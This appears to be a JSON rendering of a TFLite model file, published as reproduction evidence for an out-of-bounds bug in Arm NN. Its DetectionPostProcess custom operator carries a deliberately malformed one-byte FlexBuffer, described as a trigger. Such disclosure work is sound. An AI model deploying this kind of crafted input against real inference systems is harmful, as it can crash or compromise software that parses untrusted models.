trevdatastreams's picture
Publish Arm NN FlexBuffer OOB reproduction evidence
7bf117f verified
Raw
History Blame Contribute Delete
3.11 kB
{
"version": 3,
"operator_codes": [
{
"builtin_code": "CUSTOM",
"custom_code": "TFLite_Detection_PostProcess",
"version": 1
}
],
"subgraphs": [
{
"tensors": [
{
"shape": [
1,
6,
4
],
"type": "UINT8",
"buffer": 0,
"name": "box_encodings",
"quantization": {
"min": [
0.0
],
"max": [
255.0
],
"scale": [
1.0
],
"zero_point": [
1
]
}
},
{
"shape": [
1,
6,
3
],
"type": "UINT8",
"buffer": 1,
"name": "scores",
"quantization": {
"min": [
0.0
],
"max": [
255.0
],
"scale": [
0.01
],
"zero_point": [
0
]
}
},
{
"shape": [
6,
4
],
"type": "UINT8",
"buffer": 2,
"name": "anchors",
"quantization": {
"min": [
0.0
],
"max": [
255.0
],
"scale": [
0.5
],
"zero_point": [
0
]
}
},
{
"type": "FLOAT32",
"buffer": 3,
"name": "detection_boxes",
"quantization": {}
},
{
"type": "FLOAT32",
"buffer": 4,
"name": "detection_classes",
"quantization": {}
},
{
"type": "FLOAT32",
"buffer": 5,
"name": "detection_scores",
"quantization": {}
},
{
"type": "FLOAT32",
"buffer": 6,
"name": "num_detections",
"quantization": {}
}
],
"inputs": [
0,
1,
2
],
"outputs": [
3,
4,
5,
6
],
"operators": [
{
"opcode_index": 0,
"inputs": [
0,
1,
2
],
"outputs": [
3,
4,
5,
6
],
"builtin_options_type": "NONE",
"custom_options": [
0
],
"custom_options_format": "FLEXBUFFERS"
}
],
"name": "main"
}
],
"description": "Arm NN DetectionPostProcess one-byte malformed FlexBuffer trigger",
"buffers": [
{},
{},
{
"data": [
1,
1,
2,
2,
1,
1,
2,
2,
1,
1,
2,
2,
1,
21,
2,
2,
1,
21,
2,
2,
1,
201,
2,
2
]
},
{},
{},
{},
{}
]
}